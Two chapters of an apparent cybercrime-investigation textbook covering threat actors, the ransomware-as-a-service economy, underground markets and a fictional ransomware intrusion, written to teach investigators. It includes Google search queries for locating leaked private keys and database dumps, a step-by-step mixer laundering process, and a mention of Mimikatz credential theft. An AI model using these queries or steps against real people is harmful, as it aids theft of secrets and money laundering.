Intellectual Property (IP) Theft This is the theft of business secrets or the illegal copying of copyrighted material like software, movies, and music. *Intellectual Property (IP)* refers to creations of the mind, like inventions or artistic works, that are protected by law. Evidence can include logs from file-sharing networks, records of who accessed company servers, and file timestamps that show when secret data was viewed or stolen.

Cyberstalking and Harassment This is the use of digital communications to threaten or scare a person. Evidence includes the content of social

media posts, private messages, and emails. Very importantly, location data from mobile phones can help show where the suspect and victim were.

Selling Illegal Goods Online This is the use of online websites, especially on the *dark web*, to help sell illegal products like drugs, weapons, or stolen data. The dark web is a part of the internet that requires special software to access and is designed for anonymity. Evidence is often found in dark web forum posts, cryptocurrency transaction records (the blockchain), and normal shipping information.

1.3 The Global Threat Landscape

A good investigator must "know their enemy." Understanding why a criminal acts, what resources they have, and what methods they usually use is the first step. This helps the investigator predict the criminal's next actions, identify their techniques, and find the trail of digital evidence they leave behind. The main types of criminals, or *threat actors*, can be grouped by their main goals.

1.3.1 Financially Motivated Actors

These criminals, who are often part of *organized crime groups (OCGs)*, act like a real business. Their only goal is to make money. Their methods are direct, efficient, and designed to get the most profit for their effort.

- **Ransomware:** Locking a victim's data with encryption and demanding a payment to unlock it.
- **Business Email Compromise (BEC):** This is a *social engineering* attack. Social engineering is when a criminal tricks a person into doing something or revealing secret information. In a BEC attack, the criminal pretends to be a senior manager to trick an employee into approving a fake money transfer [73].

> **Real-World Story: A Typical BEC Attack,** An attacker registers a website name that looks almost the same as a target company's name (for example, 'legitcorp.com' versus 'legitc0rp.com'). They use a site like LinkedIn to find the names of the company's CEO and CFO. Pretending to be the CEO, the attacker sends an email to the CFO. The email might say: "I am busy in meetings and need you to make an urgent money transfer for a new partner in Asia. This is very secret and must be done now. Please pay invoice #7892 immediately." Because the email seems urgent and comes from the CEO, the CFO might skip the usual safety checks. The money is sent to a bank account the attacker controls. The funds are then quickly taken out or moved through many other accounts to hide them. This can cause the company to lose hundreds of thousands of dollars.

- **Data Breaches for Resale:** Stealing sensitive data to sell on dark web markets. This data can include *personally identifiable information (PII)* like names and addresses, *payment card information (PCI)* like credit card numbers, or *protected health information (PHI)* like medical records.
- **Phishing & Smishing:** Sending large numbers of fake emails (phishing) or text messages (*smishing*) to steal user login information. These attacks are also used as a first step to install malware.

1.3.2 The Cybercrime-as-a-Service (CaaS) Ecosystem

One of the biggest changes in modern cybercrime is that it now operates like an industry. The *Cybercrime-as-a-Service (CaaS)* model breaks down criminal tools and services into separate parts. This allows criminals with limited technical skills to rent or buy advanced tools from expert providers [69].

- **Ransomware-as-a-Service (RaaS):** In this model, ransomware developers rent their malware and C2 servers to other criminals, who are called *affiliates*. The affiliates are responsible for attacking victims. In return, they keep a large share (often 70-80%) of the ransom money, while the rest goes to the developers. The groups REvil and LockBit are well-known examples of this model.
- **Phishing-as-a-Service (PhaaS):** For a monthly payment, these services offer ready-made phishing toolkits, fake websites for stealing login information, lists of email addresses, and the servers needed to host the attacks.
- **Initial Access Brokers (IABs):** These criminals specialize in one thing: breaking into company networks. After they get in, they sell access to the network to other criminals on secret forums. The buyers are often RaaS affiliates, who then use the access to install their ransomware. The access they sell is often *persistent*, which means the buyer can re-enter the network easily.

1.3.3 Nation-State and State-Sponsored Actors (APTs)

Advanced Persistent Threats (APTs) are very skilled and well-funded groups that work for a government. Their goals are not to make money quickly. Instead, their goals support the long-term plans of their country.

- **Espionage:** Stealing political, military, or economic secrets from other governments or from important industries.
- **Intellectual Property Theft:** Stealing valuable research, designs, and business secrets from foreign companies. This gives an advantage to their own country's businesses.

- **Sabotage and Disruption:** Attacking and damaging an enemy country's most important systems, such as power grids, financial systems, or transportation networks. These systems are called *critical infrastructure*.

These groups are known for their quiet "low and slow" methods, which help them stay hidden for a long time. They use custom-built malware and *zero-day exploits*. A zero-day exploit is an attack that uses a security weakness that the software creator does not know about yet. They focus on keeping long-term, persistent access to a target's network [51].

> **Real-World Story: Stuxnet,** The Stuxnet worm, found in 2010, is a top example of a nation-state cyber weapon. It was a very advanced piece of malware, believed to be created by the United States and Israel. It had one specific, physical goal: to damage Iran's nuclear program. Stuxnet was designed to attack the *industrial control systems (ICS)* at a nuclear facility in Natanz. An ICS is a computer system that manages physical machinery. Stuxnet secretly changed the speed of the machines (centrifuges), causing them to destroy themselves. At the same time, the malware reported to the engineers that all systems were working normally. Stuxnet proved that computer code could be used to cause real physical damage. It blurred the line between digital attacks and traditional warfare [232].

1.3.4 Ideological Actors and Insiders

A final group of criminals acts because of their beliefs, for revenge, or because they misuse the trust they have been given.

- **Hacktivists:** *Hacktivists* are hackers, like the group Anonymous, who are motivated by a political or social goal. Their methods often include DDoS attacks to stop their opponents from communicating, changing websites to spread their message (*website defacement*), and publishing the private information of individuals (*doxing*) to punish their enemies.
- **Terrorist Groups:** These groups usually have less advanced technical hacking skills. However, they use the internet very effectively for spreading their message, finding new members, raising money, communicating secretly, and planning attacks.
- **Insider Threats:** An *insider threat* is a major risk for any organization. This threat comes from current or past employees, contractors, or business partners who misuse their authorized access to systems and data. Their reasons can be for money (like selling secret data to a competitor) or for revenge (like damaging computer systems after being fired).

1.4 Key Legal and Jurisdictional Challenges

Investigating cybercrime is full of legal problems that do not happen with traditional crimes. Because the internet has no borders, it creates major chal-

lenges for laws that are based on physical countries.

The main challenge is *attribution*, which is the process of proving who was responsible for an attack. It is extremely difficult to prove exactly who was using the keyboard during an attack. Attackers use tools to hide their location, use hacked computers in other countries as relays, and use fake information to hide where they are from. This technical problem is made worse because each country has its own independent laws. For example, an attacker in Russia can use a hacked server in Malaysia to attack a victim in Canada. Which country's laws should be used? How can an investigator in Canada legally get evidence from a server in Malaysia that is controlled by a person in Russia?

A few key laws are the foundation for prosecuting these crimes. In the United States, the **Computer Fraud and Abuse Act (CFAA)** is the main law against hacking into computers. For international cases, the **Council of Europe's Convention on Cybercrime (also known as the Budapest Convention)** is the most important international agreement. It tries to make cybercrime laws in different countries more similar, improve investigation methods, and encourage countries to work together [50].

Even with these agreements, getting evidence from other countries is a slow process with many official rules. It often requires using *Mutual Legal Assistance Treaties (MLATs)*. An MLAT is a formal agreement between two or more countries to help each other with legal cases. Using the MLAT process can take months or even years. This is far too slow for digital investigations, where evidence can be deleted in seconds.

> **Practical Demo: The Anonymity Challenge,** Criminals often use a network called *The Onion Router (Tor)* to hide their location and activities. A website hosted on the Tor network is called a *hidden service* and its address ends in '.onion', like this:
>
> `http://expyuzz4wqqyqhjn.onion/`
>
> This type of address cannot be found using the normal internet address system (DNS). Instead, a traffic to this site is sent through many encrypted layers and relayed between computers run by volunteers around the world. This makes it extremely difficult for police to find the true IP address and physical location of the server. This often creates a dead end for an investigation, because it is impossible to know which country the server is in or who controls it [208].

Conclusion

In this chapter, we defined the main types of cybercrime and the groups who commit them. You learned how to classify crimes as either cyber-dependent or cyber-enabled, and saw that attackers can be motivated by money, politics, or personal reasons. This knowledge is important because it helps an investigator understand the criminal's goal and predict where to find evidence. With this

foundation, we will now move to the next chapter, which covers the first practical step of an investigation: collecting digital evidence.

Acronyms and Terminology

Affiliates In the context of CaaS, these are the criminals who rent malware (like ransomware) and infrastructure from developers to carry out attacks, typically sharing a percentage of the profits.

APT (Advanced Persistent Threat) A highly skilled and well-funded hacking group, often sponsored by a government, that conducts long-term, stealthy cyberattacks for espionage or sabotage.

Attribution The process in a cybercrime investigation of identifying and proving who was responsible for an attack.

Banking Trojan A type of malicious software specifically designed to steal online banking credentials, such as usernames, passwords, and PINs.

BEC (Business Email Compromise) A type of scam where an attacker impersonates a company executive to trick an employee into making an unauthorized money transfer to an account controlled by the criminal.

Bot A computer that has been infected with malware, allowing it to be controlled remotely by an attacker as part of a larger network of infected machines (a botnet).

Budapest Convention The first international treaty that addresses cybercrime by seeking to harmonize national laws, improve investigative techniques, and increase cooperation among nations.

C2 (Command-and-Control) Server A centralized computer controlled by a cybercriminal, used to send commands to and receive stolen data from a network of infected computers (bots).

CaaS (Cybercrime-as-a-Service) A business model in the criminal underworld where advanced hacking tools, services, and infrastructure are sold or rented, allowing less-skilled criminals to launch sophisticated attacks.

CERT/CC (Computer Emergency Response Team/Coordination Center) The pioneering organization created to provide a central point of contact for coordinating responses to and reporting on major cybersecurity incidents.

CFAA (Computer Fraud and Abuse Act) The primary United States federal law that makes unauthorized access to computers and computer networks a criminal offense.

Critical Infrastructure Essential assets, systems, and networks, such as power grids, financial systems, and transportation, that are vital for a society's functioning and security.

Cyber-dependent Crime A crime that can only exist in the digital world and has no real-world equivalent, such as creating malware or launching a DDoS attack.

Cyber-enabled Crime A traditional crime, such as fraud or theft, that is made easier to commit or larger in scale through the use of computers and the internet.

Cyberstalking The use of electronic communication, such as social media or email, to harass, threaten, or repeatedly monitor another person.

Dark Web A section of the internet that is not indexed by standard search engines and requires special software (like Tor) to access, offering users a high degree of anonymity.

DDoS (Distributed Denial-of-Service) An attack where multiple compromised computer systems are used to flood a single target (like a website) with so much traffic that it becomes unavailable to legitimate users.

DoS (Denial-of-Service) An attack intended to shut down a machine or network, making it inaccessible to its intended users by overwhelming it with traffic.

Doxing The act of researching and publicly broadcasting an individual's private and identifying information (like their home address or phone number) without their consent.

Email Headers The technical metadata within an email that contains information about its path across the internet, which can be analyzed to help trace its true origin.

Exploit Kit A pre-packaged software toolkit that automates the process of attacking vulnerabilities in web browsers and plugins to deploy malware onto a victim's computer.

Full Packet Capture (PCAP) The process of intercepting and logging all data packets that pass across a computer network, creating a complete record for in-depth investigation.

Hacktivist A person or group who uses hacking techniques to promote a political agenda or social cause.

Hidden Service A website or online service hosted on an anonymity network like Tor, which conceals the IP address and physical location of the server.

IAB (Initial Access Broker) A type of cybercriminal who specializes in gaining unauthorized access to computer networks and then selling that access to other criminals.

ICS (Industrial Control System) Computer-based systems that monitor and control physical industrial processes, such as those found in manufacturing plants, power grids, and water treatment facilities.

IDS/IPS (Intrusion Detection/Prevention System) A network security tool that monitors network traffic for malicious activity and can either alert administrators (IDS) or actively block the threat (IPS).

Insider Threat A security risk to an organization that comes from a current or former employee, contractor, or business partner who misuses their authorized access.

IP (Intellectual Property) Legally protected creations of the mind, such as inventions, trade secrets, artistic works, and designs.

Lateral Movement The process an attacker uses to move through a compromised network from one computer to another to find valuable assets or gain deeper access.

Malware Short for "malicious software," a general term for any software designed to cause damage, disrupt operations, or gain unauthorized access to a computer system.

MLAT (Mutual Legal Assistance Treaty) A formal agreement between countries to facilitate the exchange of evidence and assistance in legal investigations, including for cybercrime cases.

Network Flow Data Summary statistics about network traffic between two points, providing information like source/destination IPs and data volume without capturing the content of the communication.

OCG (Organized Crime Group) A structured group of individuals working together to commit crimes on an ongoing basis, often for financial gain.

Persistent Access An attacker's ability to remain undetected within a compromised network over a long period, even after reboots or other security measures.

PhaaS (Phishing-as-a-Service) A criminal service that provides a full suite of phishing tools on a subscription basis, including templates, hosting, and email lists.

Phone Phreak An early type of hacker who explored and exploited telephone systems, often to make free long-distance calls.

Phishing A type of social engineering attack where criminals send deceptive emails pretending to be from a legitimate company to trick people into revealing sensitive information.

PII (Personally Identifiable Information) Any information that can be used to identify a specific person, such as their name, address, or Social Security number.

PCI (Payment Card Information) Sensitive data related to credit and debit cards, including the card number, cardholder name, and expiration date.

PHI (Protected Health Information) Any individually identifiable health information that is protected by law, such as medical records or treatment history.

RaaS (Ransomware-as-a-Service) A cybercrime business model where ransomware developers lease their malware to other criminals (affiliates) in exchange for a share of the ransom payments.

Ransomware A type of malware that encrypts a victim's files, making them inaccessible until a ransom payment is made to the attacker.

Smishing A form of phishing that uses SMS text messages instead of email to trick victims into clicking malicious links or revealing personal information.

Social Engineering The psychological manipulation of people to trick them into performing actions (like transferring money) or divulging confidential information (like passwords).

SYN Flood A type of DoS attack that sends a rapid succession of connection requests to a target's server, tying up its resources so that it cannot respond to legitimate traffic.

Taxonomy A formal system of classification for organizing items into ordered groups or categories based on their characteristics.

Threat Actor Any individual or group that poses a potential danger in cyberspace, including hacktivists, cybercriminals, and nation-state groups.

Three-way Handshake The standard method used by the TCP protocol to initiate a reliable connection between two computers on a network.

Tor (The Onion Router) A free and open-source software that enables anonymous communication by directing internet traffic through a worldwide, volunteer overlay network.

Website Defacement An attack on a website that changes its visual appearance, where the attacker replaces the original content with their own message.

Worm A standalone piece of malware that replicates itself to spread to other computers over a network, often without any human action.

Zero-day Exploit An attack that targets a previously unknown vulnerability in a software application, for which no official patch or fix has been released.

Chapter 2

Cybercrime Ecosystems

Introduction

To stop modern cybercrime, an investigator must understand it is an organized business. This knowledge helps you predict an attacker's next move and find weaknesses in their operation. This chapter explains how this criminal economy works. We will study the different types of attackers, the Cybercrime-as-a-Service (CaaS) model, and the specialized jobs that support a digital attack.

2.1 Understanding the Adversaries

2.1.1 Introduction to Threat Actor Profiling

Every digital investigation tries to answer two main questions: "Who did this?" and "Why did they do it?" *Threat actor profiling* is the method used to answer these questions. It involves studying an attacker's actions, tools, and goals. This process is very important for several reasons. First, when investigators understand why an attacker acts, they can better predict their next steps. This helps them understand the full size of the security incident. For example, an attacker who wants money will act differently than an attacker who is stealing secrets for a government. Second, knowing the attacker's skill level helps decide which defenses and investigation steps are most important. A less skilled attacker might be stopped by basic security, but a determined and well-funded group needs a much stronger defense [222].

The main reasons for cyberattacks can be grouped into these categories:

- **Financial Gain:** The main reason for most cybercrime, including ransomware, business email compromise (BEC), and data theft.
- **Espionage:** Stealing secret information, intellectual property, or state secrets for a strategic, economic, or political benefit.

- **Ideology:** Using cyberattacks to support a political goal, social cause, or religious belief.
- **Notoriety:** Trying to become famous or gain respect in hacker communities.
- **State-Directed Objectives:** Acts of sabotage, information warfare, or campaigns to weaken another country. These are done by a government or for a government.

2.1.2 Spectrum of Adversary Sophistication

Attackers have a wide range of technical skills, resources, and security practices. Knowing an attacker's level of skill is important for a successful investigation.

Script Kiddies At the lowest skill level are *script kiddies*. These are amateur attackers who use tools, scripts, and software made by other people. They usually look for easy targets, like computer systems that are not updated or are poorly configured. They are often motivated by curiosity, the need for attention from their friends, or just a desire to cause damage. While they are not usually a threat to a well-protected organization, they can cause serious problems for unprotected targets.

Hacktivists *Hacktivists* are people or groups who use cyberattacks to support a political or social cause. The name combines the words "hacker" and "activist." Their common methods include *Distributed Denial-of-Service (DDoS) attacks*, which overload a website with traffic to shut it down; website defacements to replace a site's content with a political message; and leaking private data, a practice called *doxing*, to embarrass or hurt a person or organization. Groups like Anonymous became famous for major campaigns against governments and companies [57]. Their motivation is purely ideological, not financial.

Organized Crime Syndicates These groups are the professional businesses in the world of cybercrime. Organized crime syndicates are groups focused on making money, are very organized, and are responsible for the biggest and most harmful cybercrimes, like ransomware, large phishing attacks, and banking trojans. They work like real companies. They have managers, special jobs, hiring processes, and even provide customer support for their illegal services. Their excellent organization and large amount of money make them a very dangerous threat.

Nation-State Actors (APT) The most skilled attackers are *nation-state actors*. They are often called *Advanced Persistent Threats (APTs)*. These groups are funded by a government or are part of its intelligence agency or military. Their goal is not to make money quickly. Instead, they seek long-term

strategic benefits through spying, sabotage, or influence campaigns [140]. APTs are known for:

- **Advanced Capabilities:** They use special malware they built themselves, *zero-day exploits* (attacks that target a security flaw not yet known to the software maker), and advanced methods to avoid being detected.
- **Persistence:** Their goal is to stay inside a target's network for a long time without being found, sometimes for months or years.
- **Large Resources:** They are supported by the money and resources of a national government.
- **Specific Targeting:** They do not attack random targets. Instead, APTs plan operations against specific industries or organizations that are important to their government's goals.

2.2 The CaaS Ecosystem: Crime as a Product

2.2.1 Introduction to Cybercrime-as-a-Service (CaaS)

The most important change in the business of cybercrime is the *Cybercrime-as-a-Service (CaaS)* model. CaaS is a business model where skilled criminals create hacking tools, systems, and services. They then sell or rent them to other criminals who are often less skilled. It is the illegal version of legal business models like *Software-as-a-Service (SaaS)*.

This model has made cybercrime accessible to many more people. It makes it easier for people with little technical skill to start. A person with very little programming knowledge can launch a complex attack by just buying the needed tools from a secret online market. This system of specialized roles helps the cybercrime economy grow very quickly. Some criminals build tools, others use the tools to attack systems, and others focus on making money from the attacks [214].

2.2.2 Ransomware-as-a-Service (RaaS)

Ransomware-as-a-Service (RaaS) is the most famous and profitable part of the CaaS market. In the RaaS model, a main group of developers, called *operators*, builds and manages the ransomware software. They also manage the website for payments and the system for negotiating with victims. These operators then hire *affiliates*. The job of an affiliate is to break into a victim's computer network and install the ransomware.

Algorithmic Breakdown: The RaaS Affiliate Payout Model The RaaS model is a well-organized criminal business process:

(1) **Lease:** A RaaS developer rents their malware and control platform to an affiliate.

(2) **Infect:** The affiliate uses their chosen method to infect a victim's network. This could be phishing, using a software weakness, or buying access from another criminal.

(3) **Encrypt & Extort:** The ransomware software automatically encrypts the victim's files. It then shows a ransom note. The note contains a unique cryptocurrency wallet address where the victim must send the payment.

(4) **Payment:** The victim pays the ransom. They send Bitcoin or Monero to the wallet address provided.

(5) **Split:** The RaaS payment system automatically divides the payment. The developer gets their share (for example, 20-30%), and the affiliate gets the larger share (for example, 70-80%).

(6) **Launder:** Both the developer and the affiliate must then *launder* their money. Laundering means hiding the money's illegal origin. They often use services like cryptocurrency mixers or illegal exchanges.

Real-World Story: The Conti Leaks, In 2022, a security researcher from Ukraine leaked more than a year of private chat messages from the famous Conti RaaS group. The leak gave a unique look at how a top-level cybercrime group operates. The messages showed that Conti was structured like a company. It had over 100 employees who received a salary, departments for Human Resources (HR) and hiring, employee performance reviews, and even office disagreements. They talked about paying employees, managing their computer systems, and giving "customer support" to their affiliates. The Conti leaks showed the truth: these groups are not small collections of hackers. They are highly organized businesses that want to make a profit. This makes Conti a good case study of modern corporate crime [121].

2.2.3 Phishing-as-a-Service (PhaaS)

Phishing is one of the most common ways attackers first get into a system. Phishing is when attackers use fake emails or websites to trick people into giving away sensitive information, like passwords. *Phishing-as-a-Service (PhaaS)* makes it very easy to start a phishing attack. For a small price, a criminal can buy a complete *phishing kit*. This kit includes professionally designed email templates, copies of real login pages for big companies (like Microsoft 365, Bank of America, or DHL), and a control panel to collect the stolen passwords. This process of selling kits allows criminals to perform phishing attacks on a very large scale.

2.2.4 Malware-as-a-Service (MaaS)

Malware-as-a-Service (MaaS) involves selling or renting specific types of *malware*. Malware is software designed to harm or disrupt a computer system. A

very common type of malware sold this way is a *loader* or *dropper*. A loader is the first piece of malware to infect a computer. Its only job is to get inside the victim's machine. After the loader is active, it can download and run other, more harmful software. This could be ransomware, spyware, or software that steals banking information. Malware families like QakBot, IcedID, and Emotet have long operated on this model, acting as delivery systems for different organized crime groups.

2.2.5 DDoS-as-a-Service (DaaS)

Also called "booter" or "stresser" services, *DDoS-as-a-Service (DaaS)* platforms let a customer pay to launch a *Distributed Denial-of-Service (DDoS)* attack. A DDoS attack floods a target server or network with so much traffic that it stops working. These services use large *botnets*, which are networks of infected computers controlled by an attacker, to flood a target's server with traffic, making it crash or become unavailable to real users. A customer can often buy an attack for only a few dollars, paying with cryptocurrency. This makes it easy for anyone to shut down a business's website or silence someone online.

2.3 Specialized Roles in the Cybercrime Supply Chain

Like a legal industry, the CaaS system has a supply chain of specialists. These specialists offer very specific services.

2.3.1 Initial Access Brokers (IABs)

Initial Access Brokers (IABs) are criminals who specialize in one task: getting unauthorized access to company networks. They usually do not perform the final attack themselves. Instead, they sell this access to other criminals, such as RaaS affiliates, on secret online forums. The price of the access depends on the company they broke into and how much control they have. Common types of access they sell include:

- Remote Desktop Protocol (RDP) credentials.
- Active Virtual Private Network (VPN) sessions.
- *Web shells* planted on a public-facing server. A web shell is a malicious script that allows an attacker to control a web server remotely.
- Valid user or, most valuable, domain administrator accounts.

Real-World Story: The Colonial Pipeline Attack, The 2021 ransomware attack on Colonial Pipeline was very destructive. It stopped fuel

supplies on the U.S. East Coast. The attack started with one single weakness. The attackers, who worked with the DarkSide RaaS group, first got into the network by using a stolen username and password for a VPN account. Experts believe they bought these login details from an IAB who had stolen them earlier [52]. This case clearly shows how a small sale on a secret forum can grow into a national security emergency.

2.3.2 Infrastructure and Evasion Service Providers

Bulletproof Hosting *Bulletproof hosting* providers are companies that knowingly host malicious websites and files. They are often located in countries with weak laws against cybercrime. They provide servers for an attacker's *Command & Control (C2)* infrastructure, which is the system used to control infected computers. They also host phishing websites and malware, and they are designed to ignore requests from police to shut down.

Command & Control (C2) Infrastructure Rental Instead of building their own C2 servers, criminals can rent access to existing C2 networks. Some services even offer C2 systems that use legal platforms like Discord, Telegram, or Slack to communicate. This makes the attacker's traffic look like normal activity, which makes it hard to detect and identify the attacker.

Crypters and Packers To avoid being detected by security software like antivirus (AV) and Endpoint Detection and Response (EDR), malware must be hidden or disguised. This process is called *obfuscation*. *Crypter* services are designed for this purpose. A criminal sends their malware to the service. The service then uses advanced techniques, like *polymorphism* (which constantly changes the malware's code), to change the malware's digital signature. The goal is to make the malware "Fully UnDetectable" (FUD) so that most security software cannot find it. These services are often sold for a fee per file or through a monthly subscription.

2.3.3 Financial Infrastructure and Laundering

Money Mules A *money mule* is a very important part of turning stolen digital money into real cash. A money mule is a person who moves illegal money for a criminal. They are often tricked into doing this through fake job offers or online dating scams. They use their own bank accounts to receive stolen money and then send it to another account, often after changing it into cryptocurrency. Each mule makes it harder for investigators to follow the money back to the main criminals.

Cryptocurrency Specialists Police have become better at tracking money on public *blockchains* like Bitcoin. A blockchain is a public, digital ledger of all transactions. As a result, criminals now hire specialists who are experts in

laundering cryptocurrency. These specialists use advanced methods to hide the path of the money.

Algorithmic Breakdown: Cryptocurrency Obfuscation via a Mixer A common method is to use a service called a *mixer* or *tumbler*. These services hide where the cryptocurrency came from. The process breaks the connection between the address the criminal sends money from and the address where they receive it.

(1) **Deposit:** The criminal sends stolen cryptocurrency (for example, 10 Bitcoin from a ransomware payment) from their address (Address A) to the mixer.

(2) **Pooling:** The service combines these funds with funds from many other users in a very large digital wallet. This mixes the criminal's money with legal money.

(3) **Tumbling & Delay:** The mixer then makes many small, random transfers between its own internal accounts. It also waits for a random amount of time. This process "tumbles" the money, making it impossible to trace a direct path.

(4) **Withdrawal:** The criminal gives the mixer a new, clean address (Address B) that has no connection to them. The mixer sends the original amount of cryptocurrency to Address B, but takes a small fee (usually 1-3%). The money comes from the mixer's large pool of funds. Now, the path from the original Address A is broken and cannot be traced [39].

2.4 Underground Marketplaces and Forums

2.4.1 The Hubs of the Cybercrime Economy

The entire CaaS economy is supported by secret online marketplaces and forums, which are usually hosted on the *Tor network*. The Tor network allows users to browse the internet anonymously, which hides their real location and identity. These websites are the main places where criminals advertise their services, sell stolen data, exchange hacking tools, and find partners. They work like illegal versions of normal e-commerce websites, like Amazon or eBay. They have forums for discussion and online stores for buying and selling.

2.4.2 Building Trust Among Criminals

In a secret environment where anyone could be a thief, reputation is extremely important. These marketplaces use several methods to build trust:

- **Vendor Reviews and Ratings:** Buyers can give sellers a rating. This creates a reputation score that helps other customers.

- **Vendor Levels:** Sellers who have a long and good history can earn a higher status. This gives them more attention and makes them seem more trustworthy.
- **Escrow Services:** For large sales, the marketplace can offer an *escrow service*. An escrow service is a neutral third party that holds the payment. The buyer sends money to the escrow service. The service holds the money until the buyer says they received what they paid for. This protects both the buyer and the seller from being cheated.

2.4.3 Investigative Value of Forums

For police and security analysts, these forums are a very valuable source of information. By watching these communities (often using secret accounts), investigators can get early warnings about new threats. They can identify new *Tactics, Techniques, and Procedures (TTPs)*, which are the methods attackers use. They can also collect *Indicators of Compromise (IoCs)*, which are clues that a system has been attacked, like malicious IP addresses or domain names. Finally, they can follow the online names and actions of important criminals.

Practical Demo: Finding Spills with Google Dorks, Sometimes, criminals' conversations and stolen data move from the hidden "dark web" to the public internet ("clear web"). This often happens on websites like Pastebin, where users can share text. Investigators can use special search commands, also called *Google Dorks*, to find this public data. For example:

- `site:pastebin.com "BEGIN PGP PRIVATE KEY"` might find cryptographic keys that were accidentally made public.
- `intext:"[Database_Dump]" filetype:sql` could find leaked SQL database files.

These simple searches can sometimes connect a criminal's online name from a forum to their real computer systems or to sensitive information they carelessly left public.

2.5 The Illicit Data Marketplace

2.5.1 Data as the Main Product

Stolen data is not just a side effect of a cyberattack. It is a main reason the entire criminal economy exists. Data is the basic ingredient used for many illegal activities, from simple fraud to complex spying on companies. The price of stolen data depends on what kind of data it is, how new it is, and if the information is complete.

2.5.2 Types of Data for Sale

Personally Identifiable Information (PII) This type of data is often sold in packages called *fullz*. A fullz package includes a person's full name, address, Social Security Number (SSN) or other national ID, and date of birth (DOB). This information is used to steal someone's identity, file fake tax documents to get money, and open credit cards or loans in someone else's name.

Financial Data This category includes *credit card dumps*, which is data stolen from payment machines in stores (also called "CVV" or "CC" data), and stolen login details for online bank accounts. This data is often sold in large quantities at a low price for each card or account, so criminals make a profit through high volume.

Account Credentials There is a very large market for stolen account login details. This includes logins for services like Netflix, social media accounts, company email accounts, and VPNs. This information is usually collected by a type of malware called an *infostealer*. The stolen data is then sold in large collections called *logs*.

Corporate/Intellectual Property This is the most expensive part of the data market. This involves stealing and selling a company's most important secrets. Examples include private computer code, drug research, customer lists, or secret documents about company mergers. These sales do not usually happen on public markets. Instead, they happen in private auctions with high prices, between one seller and a few approved buyers.

Case Study: Anatomy of a Modern Ransomware Intrusion

To bring together the ideas from this chapter, we will follow the steps of a fictional but very realistic ransomware attack. We will connect each step to the CaaS parts and special jobs we have discussed.

Phase 1: Initial Access & Foothold

Action: A mid-level affiliate of the "LokiLocker" RaaS group looks at a popular Russian-language forum on the dark web. They find a listing from a trusted **Initial Access Broker (IAB)** selling access to a mid-sized logistics company in the United States. The access is listed as "Domain User VPN Credentials." The affiliate buys the access for $1,500 in Bitcoin. They use the forum's escrow service to make the payment safely.

Investigation Angle: The forensic investigation must find the exact way the attacker first got in. Can the investigators check the company's VPN logs? They should look for connections from unusual IP addresses or locations. Can

this activity be connected to computer systems known to be used by the IAB or other criminal groups?

Phase 2: Discovery & Privilege Escalation

Action: Using the purchased VPN credentials, the affiliate gets into the company's network. They use a standard reconnaissance tool that they bought on the same forum to map the internal network. A *reconnaissance tool* is software used to explore a network and find information. They use a standard tool called Mimikatz to steal passwords from system memory, and after a few hours, they get the *hashed password* of a Domain Administrator. A hashed password is a password that has been scrambled for security. They use a program to figure out the original password. Now they have full control over the entire network.

Investigation Angle: Investigators should analyze the computer's memory and hard drive copies. They should look for signs of password-stealing tools or reconnaissance scripts. Review Active Directory and system login records for unusual patterns of a user getting more power, for example, a normal user account that is suddenly made a Domain Administrator.

Phase 3: Data Exfiltration (Double Extortion)

Action: Before deploying the ransomware, the attacker uses the *double extortion* method. This means they not only lock the victim's files, but also threaten to release stolen data. They find a file server with sensitive shipping documents and customer financial information. They copy about 50 GB of this data and steal it. They send it to a cloud storage account run by a **bulletproof provider** that is known to ignore requests from police.

Investigation Angle: Investigators should check the network traffic data (like NetFlow or sFlow) where the company's network connects to the internet. They should look for very large or long-lasting data transfers going to unknown or unapproved cloud storage services. *Data Loss Prevention (DLP)* systems, which are designed to stop data theft, might also create an alert for this activity.

Phase 4: Ransomware Deployment

Action: With the data stolen, the affiliate begins the final step. They use the ransomware program and scripts provided by the LokiLocker RaaS group. Using their Domain Admin powers, they use a *Group Policy Object (GPO)*. A GPO is a feature in Windows that can apply settings to many computers at once. They use it to send the ransomware program to every server and computer on the network, which encrypts all the files at a specific time. A ransomware note appears on every screen. The note tells the victim to go to a negotiation website on the Tor network. It also threatens to release the stolen data if the company does not pay the ransom.

Investigation Angle: The ransomware program file is a very important piece of evidence. *Reverse engineering* the file, which means taking it apart to

see how it works, can show the attacker's C2 servers, how the files are encrypted, and other IoCs. Analyzing GPO changes in Active Directory can show how the ransomware was deployed.

Phase 5: Making Money & Laundering

Action: After a week of talks, the victim company agrees to pay the $1 million ransom. They pay in Monero (XMR), which is a type of cryptocurrency that focuses on privacy. The payment is sent to an address the attacker provided. When the payment arrives, the **RaaS operator**'s system automatically takes their 20% share ($200k). The affiliate, who now has $800,000, hires a **cryptocurrency specialist**. The specialist launders the money using several steps. They use *cross-chain swaps* to exchange one cryptocurrency for another (like Monero for Bitcoin). They also use **cryptocurrency mixers**. Finally, they exchange the cryptocurrency for normal money (like U.S. dollars) through special brokers who are part of the crime.

Investigation Angle: Investigators should hire a company that specializes in blockchain analysis. Even with privacy-focused cryptocurrencies like Monero, it is sometimes possible to follow the money. This can be done by studying network data or by finding points where the money moves through a legal, regulated cryptocurrency exchange. The first step in this difficult process is to identify the wallet address that received the first ransom payment.

Conclusion

In this chapter, we learned that cybercrime operates like a business, supported by the Cybercrime-as-a-Service (CaaS) model and various specialized roles. An investigator uses this knowledge to understand the full scope of an attack, identify weaknesses in the criminal process, and better predict the attacker's goals. In the next chapter, we will build on this understanding by examining the specific technical evidence these criminal operations leave behind.

Acronyms and Terminology

APT (Advanced Persistent Threat) A common term for highly skilled, government-funded attacker groups (Nation-State Actors) known for their advanced tools and long-term, stealthy presence in a target's network.

AV (Antivirus) Software designed to detect, prevent, and remove malicious software (malware) from computer systems.

BEC (Business Email Compromise) A type of scam where an attacker tricks company employees into transferring money by impersonating a trusted executive or partner via email.

Blockchain A distributed digital ledger that publicly records all transactions for a cryptocurrency, like Bitcoin.

Botnet A network of computers infected with malware and controlled as a group by an attacker, often used to launch DDoS attacks.

Bulletproof Hosting A web hosting service that knowingly hosts malicious content (like phishing sites or C2 servers) and intentionally ignores take-down requests from law enforcement.

C2 / C&C (Command & Control) The server infrastructure an attacker uses to send commands to and receive data from infected computers (bots).

CaaS (Cybercrime-as-a-Service) An illegal business model where criminals sell or rent hacking tools, infrastructure, and services to other, often less-skilled, attackers.

Credit Card Dump A collection of raw data stolen from the magnetic stripes of credit or debit cards, typically captured from point-of-sale (POS) terminals.

Cross-chain Swap A money laundering technique where one type of cryptocurrency is exchanged for another to obscure the money trail.

Crypter A software tool or service used to encrypt or disguise malware, making it "Fully UnDetectable" (FUD) to antivirus and other security programs.

